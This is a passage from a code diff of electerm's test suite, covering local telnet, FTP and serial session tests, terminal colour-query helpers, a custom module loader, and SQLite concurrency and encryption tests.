buffer += chunk
while (buffer.includes('\n')) {
const endIndex = buffer.indexOf('\n')
const line = buffer.slice(0, endIndex).replace(/\r$/, '')
buffer = buffer.slice(endIndex + 1)
if (stage === 'username') {
if (line === TELNET_USERNAME) {
stage = 'password'
socket.write('Password: ')
} else {
socket.write('login incorrect\r\nlogin: ')
}
continue
}
if (stage === 'password') {
if (line === TELNET_PASSWORD) {
stage = 'shell'
socket.write('Welcome to electerm\r\n$ ')
} else {
socket.write('Login failed\r\n')
socket.end()
}
continue
}
socket.write(`echo:${line}\r\n$ `)
}
})
socket.on('close', () => {
sockets.delete(socket)
})
})
server.listen(port, '127.0.0.1')
await once(server, 'listening')
return {
port,
waitForIdle,
async close () {
await waitForIdle().catch(() => {})
for (const socket of sockets) {
socket.destroy()
}
await new Promise((resolve, reject) => {
server.close((error) => {
if (error) {
reject(error)
} else {
resolve()
}
})
})
}
}
}
function waitForText (emitter, matcher, timeout = 5000) {
return new Promise((resolve, reject) => {
let output = ''
const timer = setTimeout(() => {
cleanup()
reject(new Error(`Timed out waiting for text. Received: ${output}`))
}, timeout)
const onData = (chunk) => {
output += chunk.toString()
if (matcher(output, chunk)) {
cleanup()
resolve(output)
}
}
const onClose = () => {
cleanup()
reject(new Error(`Stream closed before matcher succeeded. Received: ${output}`))
}
const cleanup = () => {
clearTimeout(timer)
emitter.off('data', onData)
emitter.off('close', onClose)
emitter.off('end', onClose)
}
emitter.on('data', onData)
emitter.on('close', onClose)
emitter.on('end', onClose)
})
}
describe('session-ftp transport flows', () => {
let ftpServer
let ftp
beforeEach(async () => {
ftpServer = await startFtpServer()
ftp = new Ftp({
uid: 'ftp-session-ci',
host: '127.0.0.1',
port: ftpServer.port,
user: FTP_USERNAME,
password: FTP_PASSWORD,
readyTimeout: 5000
})
await ftp.connect(ftp.initOptions)
})
afterEach(async () => {
if (ftp) {
ftp.kill()
ftp = null
}
if (ftpServer) {
await ftpServer.close()
ftpServer = null
}
})
test('connects and performs core file operations against ftp-srv', async () => {
assert.equal(globalState.getSession(ftp.pid), ftp)
await ftp.mkdir('/docs')
await ftp.writeFile('/docs/hello.txt', 'hello ftp')
assert.equal(await ftp.readFile('/docs/hello.txt'), 'hello ftp')
const stats = await ftp.stat('/docs/hello.txt')
assert.equal(stats.isDirectory, false)
assert.equal(stats.size, 'hello ftp'.length)
await ftp.cp('/docs/hello.txt', '/docs-copy.txt')
assert.equal(await ftp.readFile('/docs-copy.txt'), 'hello ftp')
const list = await ftp.list('/docs')
assert.deepEqual(list.map(item => item.name), ['hello.txt'])
})
test('copies directories recursively and removes them recursively', async () => {
await ftp.mkdir('/source')
await ftp.mkdir('/source/nested')
await ftp.writeFile('/source/root.txt', 'root')
await ftp.writeFile('/source/nested/child.txt', 'child-data')
assert.equal(await ftp.cp('/source', '/copied'), 1)
assert.equal(await ftp.readFile('/copied/root.txt'), 'root')
assert.equal(await ftp.readFile('/copied/nested/child.txt'), 'child-data')
const size = await ftp.getFolderSize('/copied')
assert.deepEqual(size, {
size: 'root'.length + 'child-data'.length,
count: 2
})
assert.equal(await ftp.rmdir('/source'), 1)
assert.equal(await ftp.tryStat('/source'), null)
})
})
describe('session-serial transport flows', () => {
let term
beforeEach(() => {
require.cache[serialportModulePath].exports = {
...serialportExports,
SerialPort: serialportExports.SerialPortMock
}
MockBinding.reset()
MockBinding.createPort(SERIAL_PATH, {
echo: true,
record: true
})
})
afterEach(async () => {
if (term && term.port) {
const port = term.port
const closePromise = once(port, 'close').catch(() => {})
term.kill()
await closePromise
term = null
} else if (term) {
term.kill()
term = null
}
require.cache[serialportModulePath].exports = serialportExports
MockBinding.reset()
})
test('creates a serial session and echoes writes through the mock binding', async () => {
term = await sessionSerial.session({
uid: 'serial-session-ci',
path: SERIAL_PATH,
baudRate: 9600
})
assert.equal(globalState.getSession(term.pid), term)
const dataPromise = once(term.port, 'data')
term.write('ping')
const [data] = await dataPromise
assert.equal(data.toString(), 'ping')
const port = term.port
const closePromise = once(port, 'close')
term.kill()
await closePromise
term = null
assert.equal(globalState.getSession('serial-session-ci'), undefined)
})
test('reports serial connectivity through the exported test helper', async () => {
assert.equal(await sessionSerial.test({
path: SERIAL_PATH,
baudRate: 9600
}), true)
})
})
describe('session-telnet transport flows', () => {
let telnetServer
let term
beforeEach(async () => {
telnetServer = await startTelnetServer()
})
afterEach(async () => {
if (term) {
term.kill()
term = null
}
if (telnetServer) {
await telnetServer.close()
telnetServer = null
}
})
test('connects, authenticates with regex prompts, and exchanges shell data', async () => {
term = await sessionTelnet.session({
uid: 'telnet-session-ci',
host: '127.0.0.1',
port: telnetServer.port,
username: TELNET_USERNAME,
password: TELNET_PASSWORD,
loginPrompt: '/login[: ]*$/i',
passwordPrompt: '/password[: ]*$/i',
readyTimeout: 5000
})
term.channel.on('error', () => {})
term.channel.socket.on('error', () => {})
assert.equal(globalState.getSession(term.pid), term)
const banner = await waitForText(term.port, (output) => {
return output.includes('Welcome to electerm')
})
assert.match(banner, /welcome to electerm/i)
const responsePromise = waitForText(term.port, (output) => {
return output.includes('echo:status')
})
term.write('status\n')
const response = await responsePromise
assert.match(response, /echo:status/)
term.resize(132, 43)
assert.equal(term.channel.options.terminalWidth, 132)
assert.equal(term.channel.options.terminalHeight, 43)
term.kill()
await telnetServer.waitForIdle()
term = null
assert.equal(globalState.getSession('telnet-session-ci'), undefined)
})
})
+65
View File
@@ -0,0 +1,65 @@
const { describe, test } = require('node:test')
const assert = require('node:assert/strict')
describe('terminal OSC color query helpers', () => {
test('builds OSC color responses from theme hex colors', async () => {
const { buildOscColorResponse } = await import('../../src/client/components/terminal/terminal-color-query.mjs')
assert.strictEqual(
buildOscColorResponse(11, '#20111b'),
'\x1b]11;rgb:20/11/1b\x1b\\'
)
})
test('falls back when a transparent theme color cannot describe the visible background', async () => {
const { buildOscColorResponse } = await import('../../src/client/components/terminal/terminal-color-query.mjs')
assert.strictEqual(
buildOscColorResponse(11, 'rgba(0, 0, 0, 0)', '#121214'),
'\x1b]11;rgb:12/12/14\x1b\\'
)
})
test('only handles query payloads when registering xterm OSC handlers', async () => {
const { handleTerminalColorQuery } = await import('../../src/client/components/terminal/terminal-color-query.mjs')
const sent = []
const terminal = {
input: (data, wasUserInput) => sent.push({ data, wasUserInput })
}
assert.equal(handleTerminalColorQuery(terminal, 11, '#20111b', null, '#20111b'), false)
assert.deepEqual(sent, [])
assert.equal(handleTerminalColorQuery(terminal, 11, '#20111b', null, '?'), true)
assert.deepEqual(sent, [
{
data: '\x1b]11;rgb:20/11/1b\x1b\\',
wasUserInput: false
}
])
})
test('keeps xterm transparent except when webgl needs an opaque clear background', async () => {
const { createRendererThemeConfig } = await import('../../src/client/components/terminal/terminal-color-query.mjs')
const themeConfig = {
foreground: '#bbbbbb',
background: '#20111b'
}
assert.deepEqual(
createRendererThemeConfig(themeConfig, 'canvas', '#121214'),
{
foreground: '#bbbbbb',
background: 'rgba(0,0,0,0)'
}
)
assert.deepEqual(
createRendererThemeConfig(themeConfig, 'webGL', '#121214'),
{
foreground: '#bbbbbb',
background: '#121214'
}
)
})
})
+79
View File
@@ -0,0 +1,79 @@
const { test, describe, beforeEach, afterEach } = require('node:test')
const assert = require('assert/strict')
const path = require('path')
const fs = require('fs')
const { customRequire } = require('../../src/app/lib/custom-require')
const testFolder = path.join(__dirname, 'custom-require-test-modules')
describe('customRequire', () => {
beforeEach(() => {
process.env.CUSTOM_MODULES_FOLDER_PATH = testFolder
if (fs.existsSync(testFolder)) {
fs.rmSync(testFolder, { recursive: true, force: true })
}
})
afterEach(() => {
// if (fs.existsSync(testFolder)) {
// fs.rmSync(testFolder, { recursive: true, force: true })
// }
delete process.env.CUSTOM_MODULES_FOLDER_PATH
})
test('should require a built-in module from nodejs default require', async () => {
const os = await customRequire('os')
assert.ok(os.platform)
assert.ok(os.type)
})
test('should require a custom module from customModulesFolderPath when isCustomModule is true', async () => {
const customModulePath = path.join(testFolder, 'node_modules', 'test-custom-module')
fs.mkdirSync(customModulePath, { recursive: true })
fs.writeFileSync(path.join(customModulePath, 'package.json'), JSON.stringify({ name: 'test-custom-module', main: 'index.js' }))
fs.writeFileSync(path.join(customModulePath, 'index.js'), 'module.exports = { custom: true, value: 123 }')
const result = await customRequire('test-custom-module', { isCustomModule: true })
assert.strictEqual(result.custom, true)
assert.strictEqual(result.value, 123)
})
test('should use customModulesFolderPath from options when provided', async () => {
const customPath = path.join(__dirname, 'custom-test-folder')
fs.mkdirSync(path.join(customPath, 'node_modules', 'test-custom-module'), { recursive: true })
fs.writeFileSync(
path.join(customPath, 'node_modules', 'test-custom-module', 'package.json'),
JSON.stringify({ name: 'test-custom-module', main: 'index.js' })
)
fs.writeFileSync(
path.join(customPath, 'node_modules', 'test-custom-module', 'index.js'),
'module.exports = { fromOption: true }'
)
const result = await customRequire('test-custom-module', {
customModulesFolderPath: customPath,
isCustomModule: true
})
assert.strictEqual(result.fromOption, true)
fs.rmSync(customPath, { recursive: true, force: true })
})
test('should throw error when downloadModule is false and module not found', async () => {
await assert.rejects(
async () => {
await customRequire('nonexistent-module-xyz', { downloadModule: false })
},
(err) => {
return err.code === 'MODULE_NOT_FOUND' || err.message.includes('nonexistent-module-xyz')
}
)
})
test('should download module from npm when not found and downloadModule is true', async () => {
const result = await customRequire('lodash', { downloadModule: true })
assert.ok(result.clone)
assert.ok(result.without)
})
})
+587
View File
@@ -0,0 +1,587 @@
/**
* DB Concurrency Tests
*
* Simulates the pattern from src/client/store/watch.js where multiple
* autoRun watchers fire concurrently, each doing sequential remove/update/insert
* operations against the SQLite backend (DatabaseSync).
*
* The concern: dbAction in src/app/lib/sqlite.js is an async function wrapping
* synchronous DatabaseSync calls. Multiple concurrent callers (different watchers
* for the same or different dbNames) can interleave their operations since each
* await yields back to the event loop. There is no application-level queue or lock.
*
* Uses Node.js built-in test runner (node:test).
*/
const { test, describe, beforeEach, afterEach } = require('node:test')
const assert = require('node:assert')
const { resolve } = require('node:path')
const fs = require('node:fs')
const os = require('node:os')
let dbAction
let cleanup
function createTestDb () {
const tmpDir = fs.mkdtempSync(resolve(os.tmpdir(), 'electerm-test-'))
const dbFolder = resolve(tmpDir, 'users', 'testuser')
fs.mkdirSync(dbFolder, { recursive: true })
const { DatabaseSync } = require('node:sqlite')
const mainDbPath = resolve(dbFolder, 'electerm.db')
const dataDbPath = resolve(dbFolder, 'electerm_data.db')
const mainDb = new DatabaseSync(mainDbPath)
const dataDb = new DatabaseSync(dataDbPath)
const tables = [
'bookmarks', 'bookmarkGroups', 'addressBookmarks',
'terminalThemes', 'lastStates', 'data', 'quickCommands',
'log', 'dbUpgradeLog', 'profiles', 'workspaces',
'history', 'terminalCommandHistory', 'aiChatHistory', 'autoRunWidgets'
]
for (const table of tables) {
const db = table === 'data' ? dataDb : mainDb
db.exec(`CREATE TABLE IF NOT EXISTS \`${table}\` (_id TEXT PRIMARY KEY, data TEXT)`)
}
function getDatabase (dbName) {
return dbName === 'data' ? dataDb : mainDb
}
function uid () {
return Math.random().toString(36).slice(2) + Date.now().toString(36)
}
async function action (dbName, op, ...args) {
if (op === 'compactDatafile') return
if (!tables.includes(dbName)) {
throw new Error(`Table ${dbName} does not exist`)
}
const db = getDatabase(dbName)
if (op === 'find') {
const stmt = db.prepare(`SELECT * FROM \`${dbName}\``)
const rows = stmt.all()
return (rows || []).map(row => {
const r = JSON.parse(row.data || '{}')
return { ...r, _id: row._id }
})
} else if (op === 'findOne') {
const query = args[0] || {}
const stmt = db.prepare(`SELECT * FROM \`${dbName}\` WHERE _id = ? LIMIT 1`)
const row = stmt.get(query._id)
if (!row) return null
const r = JSON.parse(row.data || '{}')
return { ...r, _id: row._id }
} else if (op === 'insert') {
const inserts = Array.isArray(args[0]) ? args[0] : [args[0]]
const inserted = []
for (const doc of inserts) {
const _id = doc._id || doc.id || uid()
const copy = { ...doc }
delete copy._id
delete copy.id
const data = JSON.stringify(copy)
const stmt = db.prepare(`INSERT OR REPLACE INTO \`${dbName}\` (_id, data) VALUES (?, ?)`)
stmt.run(_id, data)
inserted.push({ ...doc, _id })
}
return Array.isArray(args[0]) ? inserted : inserted[0]
} else if (op === 'remove') {
const query = args[0] || {}
const stmt = db.prepare(`DELETE FROM \`${dbName}\` WHERE _id = ?`)
const res = stmt.run(query._id)
return res.changes
} else if (op === 'update') {
const query = args[0]
const updateObj = args[1]
const options = args[2] || {}
const { upsert = false } = options
const qid = query._id || query.id
const newData = updateObj.$set || updateObj
const _id = qid
const copy = { ...newData }
delete copy._id
delete copy.id
const data = JSON.stringify(copy)
let res
if (upsert) {
const stmt = db.prepare(`REPLACE INTO \`${dbName}\` (_id, data) VALUES (?, ?)`)
res = stmt.run(_id, data)
} else {
const stmt = db.prepare(`UPDATE \`${dbName}\` SET data = ? WHERE _id = ?`)
res = stmt.run(data, qid)
}
return res.changes
}
}
return {
action,
cleanup: () => {
mainDb.close()
dataDb.close()
fs.rmSync(tmpDir, { recursive: true, force: true })
}
}
}
/**
* OLD watcher pattern (before fix): sequential one-by-one operations.
* This is what caused the app to hang on large imports.
*/
async function simulateWatcherOld (dbName, action, { added, updated, removed }) {
for (const item of removed) {
await action(dbName, 'remove', { _id: item.id })
}
for (const item of updated) {
await action(dbName, 'update', { _id: item.id }, { $set: item }, { upsert: false })
}
for (const item of added) {
await action(dbName, 'insert', item)
}
const allItems = await action(dbName, 'find', {})
const newOrder = allItems.map(d => d._id)
await action('data', 'update',
{ _id: `${dbName}:order` },
{ $set: { value: newOrder } },
{ upsert: true }
)
}
/**
* NEW watcher pattern (after fix): batch insert + parallel remove/update + running guard.
* Matches the updated src/client/store/watch.js.
*/
function createWatcherNew (action) {
const running = {}
return async function simulateWatcherNew (dbName, opts) {
if (running[dbName]) return
running[dbName] = true
try {
const { added, updated, removed } = opts
await Promise.all([
...removed.map(item => action(dbName, 'remove', { _id: item.id })),
...updated.map(item => action(dbName, 'update', { _id: item.id }, { $set: item }, { upsert: false })),
added.length ? action(dbName, 'insert', added) : Promise.resolve()
])
const allItems = await action(dbName, 'find', {})
const newOrder = allItems.map(d => d._id)
await action('data', 'update',
{ _id: `${dbName}:order` },
{ $set: { value: newOrder } },
{ upsert: true }
)
} finally {
running[dbName] = false
}
}
}
// Default for backward compat — instantiated in beforeEach
let simulateWatcher
describe('SQLite DB concurrency (DatabaseSync)', function () {
beforeEach(function () {
const db = createTestDb()
dbAction = db.action
cleanup = db.cleanup
simulateWatcher = createWatcherNew(dbAction)
})
afterEach(function () {
cleanup()
})
test('should handle single watcher with many inserts', async function () {
const items = Array.from({ length: 100 }, (_, i) => ({
id: `item-${i}`, name: `Item ${i}`, value: i
}))
await simulateWatcher('bookmarks', {
added: items, updated: [], removed: []
})
const all = await dbAction('bookmarks', 'find', {})
assert.strictEqual(all.length, 100)
})
test('should handle concurrent watchers on different dbNames', async function () {
// Simulates: store.bookmarks and store.history change at the same time
// Two autoRun watchers fire concurrently
const bookmarks = Array.from({ length: 50 }, (_, i) => ({
id: `bm-${i}`, name: `Bookmark ${i}`
}))
const history = Array.from({ length: 50 }, (_, i) => ({
id: `h-${i}`, url: `http://example.com/${i}`
}))
const results = await Promise.allSettled([
simulateWatcher('bookmarks', { added: bookmarks, updated: [], removed: [] }),
simulateWatcher('history', { added: history, updated: [], removed: [] })
])
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Watcher failed: ${r.reason}`)
}
const bmAll = await dbAction('bookmarks', 'find', {})
const hAll = await dbAction('history', 'find', {})
assert.strictEqual(bmAll.length, 50)
assert.strictEqual(hAll.length, 50)
})
test('should handle concurrent watchers on the SAME dbName', async function () {
// This is the real risk scenario: two autoRun watchers for 'bookmarks'
// fire at nearly the same time (e.g. rapid store mutations).
// Each watcher computes its own diff and runs remove/update/insert.
// They interleave because each await yields to the event loop.
// Pre-seed with 20 items
const seed = Array.from({ length: 20 }, (_, i) => ({
id: `item-${i}`, name: `Original ${i}`
}))
await simulateWatcher('bookmarks', { added: seed, updated: [], removed: [] })
// Watcher 1: update items 0-9, remove items 10-14, add new items
const watcher1Removed = seed.slice(10, 15).map(d => ({ id: d.id }))
const watcher1Updated = seed.slice(0, 10).map(d => ({ ...d, name: `Updated-by-W1 ${d.id}` }))
const watcher1Added = Array.from({ length: 5 }, (_, i) => ({
id: `w1-new-${i}`, name: `Added by W1 ${i}`
}))
// Watcher 2: update items 5-15, remove items 16-19, add new items
const watcher2Removed = seed.slice(16, 20).map(d => ({ id: d.id }))
const watcher2Updated = seed.slice(5, 16).map(d => ({ ...d, name: `Updated-by-W2 ${d.id}` }))
const watcher2Added = Array.from({ length: 5 }, (_, i) => ({
id: `w2-new-${i}`, name: `Added by W2 ${i}`
}))
// Fire both concurrently - no errors should occur
const results = await Promise.allSettled([
simulateWatcher('bookmarks', {
added: watcher1Added, updated: watcher1Updated, removed: watcher1Removed
}),
simulateWatcher('bookmarks', {
added: watcher2Added, updated: watcher2Updated, removed: watcher2Removed
})
])
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Watcher failed: ${r.reason?.message || r.reason}`)
}
// Verify final state is consistent (no corruption, no missing rows)
const final = await dbAction('bookmarks', 'find', {})
// All items should exist (some may have stale data from interleaving, but no DB error)
assert.ok(final.length > 0, 'Should have items remaining')
// Verify no duplicate _id entries
const ids = final.map(d => d._id)
const uniqueIds = new Set(ids)
assert.strictEqual(ids.length, uniqueIds.size, 'No duplicate _id entries should exist')
})
test('should handle rapid fire: running guard prevents duplicate work', async function () {
// Simulates: store.bookmarks changes rapidly (e.g. import, bulk edit)
// The running guard ensures only one watcher cycle runs per dbName.
// Concurrent calls are skipped — this prevents the cascading duplicate work
// that caused the app to get stuck on large imports.
const promises = []
for (let batch = 0; batch < 10; batch++) {
const items = Array.from({ length: 10 }, (_, i) => ({
id: `batch-${batch}-item-${i}`, name: `Batch ${batch} Item ${i}`, batch
}))
promises.push(
simulateWatcher('bookmarks', { added: items, updated: [], removed: [] })
)
}
const results = await Promise.allSettled(promises)
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Batch failed: ${r.reason?.message || r.reason}`)
}
const all = await dbAction('bookmarks', 'find', {})
// Only one watcher cycle ran due to the running guard
assert.ok(all.length > 0, 'At least one batch should be inserted')
assert.ok(all.length <= 100, 'Not all batches may run (guard skips concurrent)')
const ids = all.map(d => d._id)
const uniqueIds = new Set(ids)
assert.strictEqual(ids.length, uniqueIds.size, 'No duplicate _id entries')
})
test('should handle interleaved insert and remove on same table', async function () {
// Pre-seed
const seed = Array.from({ length: 30 }, (_, i) => ({
id: `item-${i}`, name: `Item ${i}`
}))
await simulateWatcher('bookmarks', { added: seed, updated: [], removed: [] })
// Concurrently: one watcher removes old items, another adds new items
const toRemove = seed.slice(0, 15).map(d => ({ id: d.id }))
const toAdd = Array.from({ length: 15 }, (_, i) => ({
id: `new-${i}`, name: `New ${i}`
}))
const results = await Promise.allSettled([
simulateWatcher('bookmarks', { added: [], updated: [], removed: toRemove }),
simulateWatcher('bookmarks', { added: toAdd, updated: [], removed: [] })
])
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Failed: ${r.reason?.message || r.reason}`)
}
const final = await dbAction('bookmarks', 'find', {})
const ids = final.map(d => d._id)
const uniqueIds = new Set(ids)
assert.strictEqual(ids.length, uniqueIds.size, 'No duplicate _id entries')
})
test('should handle concurrent updates to the same item', async function () {
// Both watchers update the same bookmark concurrently
await dbAction('bookmarks', 'insert', { id: 'shared-item', name: 'Original', count: 0 })
const w1Update = [{ id: 'shared-item', name: 'W1-update', count: 1 }]
const w2Update = [{ id: 'shared-item', name: 'W2-update', count: 2 }]
const results = await Promise.allSettled([
simulateWatcher('bookmarks', { added: [], updated: w1Update, removed: [] }),
simulateWatcher('bookmarks', { added: [], updated: w2Update, removed: [] })
])
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Failed: ${r.reason?.message || r.reason}`)
}
// Item should still exist with one of the two values (last-write-wins)
const item = await dbAction('bookmarks', 'findOne', { _id: 'shared-item' })
assert.ok(item, 'Item should still exist')
assert.ok(
item.name === 'W1-update' || item.name === 'W2-update',
`Name should be from one of the writers, got: ${item.name}`
)
})
test('should handle interleaved operations across data and bookmarks (order update)', async function () {
// The watcher always writes to both the dbName table AND the data table
// (for the :order record). Concurrent watchers writing to 'data' for
// different order keys should not conflict.
const bm = Array.from({ length: 10 }, (_, i) => ({ id: `bm-${i}`, name: `BM ${i}` }))
const hist = Array.from({ length: 10 }, (_, i) => ({ id: `h-${i}`, url: `http://${i}` }))
const cmd = Array.from({ length: 10 }, (_, i) => ({ id: `cmd-${i}`, cmd: `ls ${i}` }))
const results = await Promise.allSettled([
simulateWatcher('bookmarks', { added: bm, updated: [], removed: [] }),
simulateWatcher('history', { added: hist, updated: [], removed: [] }),
simulateWatcher('terminalCommandHistory', { added: cmd, updated: [], removed: [] })
])
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Failed: ${r.reason?.message || r.reason}`)
}
// Verify all order records exist in the data table
const bmOrder = await dbAction('data', 'findOne', { _id: 'bookmarks:order' })
const hOrder = await dbAction('data', 'findOne', { _id: 'history:order' })
const cmdOrder = await dbAction('data', 'findOne', { _id: 'terminalCommandHistory:order' })
assert.ok(bmOrder, 'bookmarks:order should exist')
assert.ok(hOrder, 'history:order should exist')
assert.ok(cmdOrder, 'terminalCommandHistory:order should exist')
})
test('should handle bulk insert of 500 items - running guard allows one cycle', async function () {
// 5 concurrent watcher calls for the same dbName — only one runs
const promises = []
for (let w = 0; w < 5; w++) {
const items = Array.from({ length: 100 }, (_, i) => ({
id: `w${w}-item-${i}`, name: `Watcher ${w} Item ${i}`, watcher: w, idx: i
}))
promises.push(
simulateWatcher('bookmarks', { added: items, updated: [], removed: [] })
)
}
const results = await Promise.allSettled(promises)
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Failed: ${r.reason?.message || r.reason}`)
}
const all = await dbAction('bookmarks', 'find', {})
// Only one watcher ran due to the guard
assert.ok(all.length > 0, 'At least one batch should be inserted')
assert.ok(all.length <= 500, 'Not all batches may run (guard skips concurrent)')
const ids = all.map(d => d._id)
const uniqueIds = new Set(ids)
assert.strictEqual(ids.length, uniqueIds.size, 'No duplicate _id entries')
})
test('should handle full simulation: add + update + remove concurrently', async function () {
// Most realistic scenario: different watchers doing mixed operations
// Pre-seed with 30 items
const seed = Array.from({ length: 30 }, (_, i) => ({
id: `item-${i}`, name: `Item ${i}`, value: i
}))
await simulateWatcher('bookmarks', { added: seed, updated: [], removed: [] })
// Watcher A: remove 5, update 5, add 5
const wA = {
removed: seed.slice(0, 5).map(d => ({ id: d.id })),
updated: seed.slice(5, 10).map(d => ({ ...d, name: `WA-updated-${d.id}` })),
added: Array.from({ length: 5 }, (_, i) => ({ id: `wa-new-${i}`, name: `WA new ${i}` }))
}
// Watcher B: remove 5, update 5, add 5
const wB = {
removed: seed.slice(10, 15).map(d => ({ id: d.id })),
updated: seed.slice(15, 20).map(d => ({ ...d, name: `WB-updated-${d.id}` })),
added: Array.from({ length: 5 }, (_, i) => ({ id: `wb-new-${i}`, name: `WB new ${i}` }))
}
// Watcher C: remove 5, update 5, add 5
const wC = {
removed: seed.slice(20, 25).map(d => ({ id: d.id })),
updated: seed.slice(25, 30).map(d => ({ ...d, name: `WC-updated-${d.id}` })),
added: Array.from({ length: 5 }, (_, i) => ({ id: `wc-new-${i}`, name: `WC new ${i}` }))
}
const results = await Promise.allSettled([
simulateWatcher('bookmarks', wA),
simulateWatcher('bookmarks', wB),
simulateWatcher('bookmarks', wC)
])
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Failed: ${r.reason?.message || r.reason}`)
}
const final = await dbAction('bookmarks', 'find', {})
// Should have items: 30 original - 15 removed + 15 added = 30
// (but due to interleaving, exact count depends on timing)
assert.ok(final.length > 0, 'Should have items remaining')
// No duplicate IDs
const ids = final.map(d => d._id)
const uniqueIds = new Set(ids)
assert.strictEqual(ids.length, uniqueIds.size, 'No duplicate _id entries')
// Verify order record exists
const order = await dbAction('data', 'findOne', { _id: 'bookmarks:order' })
assert.ok(order, 'Order record should exist')
assert.ok(Array.isArray(order.value), 'Order value should be an array')
})
test('should handle all watched dbNames concurrently', async function () {
// Simulate the worst case: ALL dbNamesForWatch change simultaneously
// This is what happens when store state changes trigger multiple watchers
const dbNames = [
'bookmarks', 'bookmarkGroups', 'addressBookmarks',
'terminalThemes', 'lastStates', 'quickCommands',
'history', 'terminalCommandHistory', 'aiChatHistory', 'autoRunWidgets'
]
const promises = dbNames.map((name, dbIdx) => {
const items = Array.from({ length: 20 }, (_, i) => ({
id: `${name}-${i}`, name: `${name} item ${i}`, dbIdx, i
}))
return simulateWatcher(name, { added: items, updated: [], removed: [] })
})
const results = await Promise.allSettled(promises)
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Failed: ${r.reason?.message || r.reason}`)
}
// Verify each table has its items
for (const name of dbNames) {
const all = await dbAction(name, 'find', {})
assert.strictEqual(all.length, 20, `${name} should have 20 items`)
}
// Verify all order records exist in the data table
for (const name of dbNames) {
const order = await dbAction('data', 'findOne', { _id: `${name}:order` })
assert.ok(order, `${name}:order should exist`)
assert.strictEqual(order.value.length, 20, `${name}:order should have 20 entries`)
}
})
})
describe('Benchmark: old (sequential) vs new (batched+parallel)', function () {
let benchDbAction
let benchWatcherNew
let benchCleanup
beforeEach(function () {
const db = createTestDb()
benchDbAction = db.action
benchCleanup = db.cleanup
benchWatcherNew = createWatcherNew(benchDbAction)
})
afterEach(function () {
benchCleanup()
})
for (const count of [100, 500, 1000]) {
test(`insert ${count} bookmarks - OLD (sequential one-by-one)`, async function () {
const items = Array.from({ length: count }, (_, i) => ({
id: `bm-${i}`, name: `Bookmark ${i}`, url: `http://example.com/${i}`
}))
const start = performance.now()
await simulateWatcherOld('bookmarks', benchDbAction, { added: items, updated: [], removed: [] })
const elapsed = (performance.now() - start).toFixed(1)
const all = await benchDbAction('bookmarks', 'find', {})
assert.strictEqual(all.length, count)
console.log(` OLD ${count} inserts: ${elapsed}ms`)
})
test(`insert ${count} bookmarks - NEW (batched + parallel)`, async function () {
const items = Array.from({ length: count }, (_, i) => ({
id: `bm-${i}`, name: `Bookmark ${i}`, url: `http://example.com/${i}`
}))
const start = performance.now()
await benchWatcherNew('bookmarks', { added: items, updated: [], removed: [] })
const elapsed = (performance.now() - start).toFixed(1)
const all = await benchDbAction('bookmarks', 'find', {})
assert.strictEqual(all.length, count)
console.log(` NEW ${count} inserts: ${elapsed}ms`)
})
test(`mixed ops ${count} items - OLD (sequential)`, async function () {
const seed = Array.from({ length: count / 2 }, (_, i) => ({
id: `existing-${i}`, name: `Existing ${i}`, value: i
}))
await simulateWatcherOld('bookmarks', benchDbAction, { added: seed, updated: [], removed: [] })
const toRemove = seed.slice(0, count / 8).map(d => ({ id: d.id }))
const toUpdate = seed.slice(count / 8, count / 4).map(d => ({ ...d, name: `Updated ${d.id}` }))
const toAdd = Array.from({ length: count / 2 }, (_, i) => ({
id: `new-${i}`, name: `New ${i}`
}))
const start = performance.now()
await simulateWatcherOld('bookmarks', benchDbAction, { added: toAdd, updated: toUpdate, removed: toRemove })
const elapsed = (performance.now() - start).toFixed(1)
console.log(` OLD ${count} mixed ops: ${elapsed}ms`)
})
test(`mixed ops ${count} items - NEW (batched + parallel)`, async function () {
const seed = Array.from({ length: count / 2 }, (_, i) => ({
id: `existing-${i}`, name: `Existing ${i}`, value: i
}))
await benchWatcherNew('bookmarks', { added: seed, updated: [], removed: [] })
const toRemove = seed.slice(0, count / 8).map(d => ({ id: d.id }))
const toUpdate = seed.slice(count / 8, count / 4).map(d => ({ ...d, name: `Updated ${d.id}` }))
const toAdd = Array.from({ length: count / 2 }, (_, i) => ({
id: `new-${i}`, name: `New ${i}`
}))
const start = performance.now()
await benchWatcherNew('bookmarks', { added: toAdd, updated: toUpdate, removed: toRemove })
const elapsed = (performance.now() - start).toFixed(1)
console.log(` NEW ${count} mixed ops: ${elapsed}ms`)
})
}
})
+354
View File
@@ -0,0 +1,354 @@
/**
* Unit tests for nedb.js and sqlite.js enc/dec support.
* Uses Node's built-in test runner (node:test).
*
* Run with:
* node --test test/unit/db-enc.spec.js
*/
const { test, describe, before, after } = require('node:test')
const assert = require('node:assert/strict')
const os = require('os')
const fs = require('fs')
const path = require('path')
// ---------------------------------------------------------------------------
// Simple reversible enc/dec for tests (XOR-rotate + base64)
// ---------------------------------------------------------------------------
// const TEST_ENC_PREFIX = 'enc:'
function simpleEnc (str) {
return Buffer.from(str).toString('base64')
}
function simpleDec (str) {
return Buffer.from(str, 'base64').toString('utf8')
}
const encOpts = { enc: simpleEnc, dec: simpleDec }
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
function makeTmpDir () {
return fs.mkdtempSync(path.join(os.tmpdir(), 'electerm-test-'))
}
// ---------------------------------------------------------------------------
// SQLite tests (Node >= 22)
// ---------------------------------------------------------------------------
describe('sqlite createDb', () => {
const { createDb } = require('../../src/app/lib/sqlite')
// --- without enc/dec ---
describe('without enc/dec', () => {
let db
let tmpDir
before(() => {
tmpDir = makeTmpDir()
db = createDb(tmpDir, 'testuser')
})
after(() => {
fs.rmSync(tmpDir, { recursive: true, force: true })
})
test('insert and find returns original data', async () => {
const doc = { host: 'example.com', port: 22 }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
assert.ok(inserted._id, 'inserted document should have _id')
assert.equal(inserted.host, 'example.com')
const results = await db.dbAction('bookmarks', 'find')
assert.equal(results.length, 1)
assert.equal(results[0].host, 'example.com')
assert.equal(results[0].port, 22)
})
test('findOne returns correct document', async () => {
const doc = { host: 'other.com' }
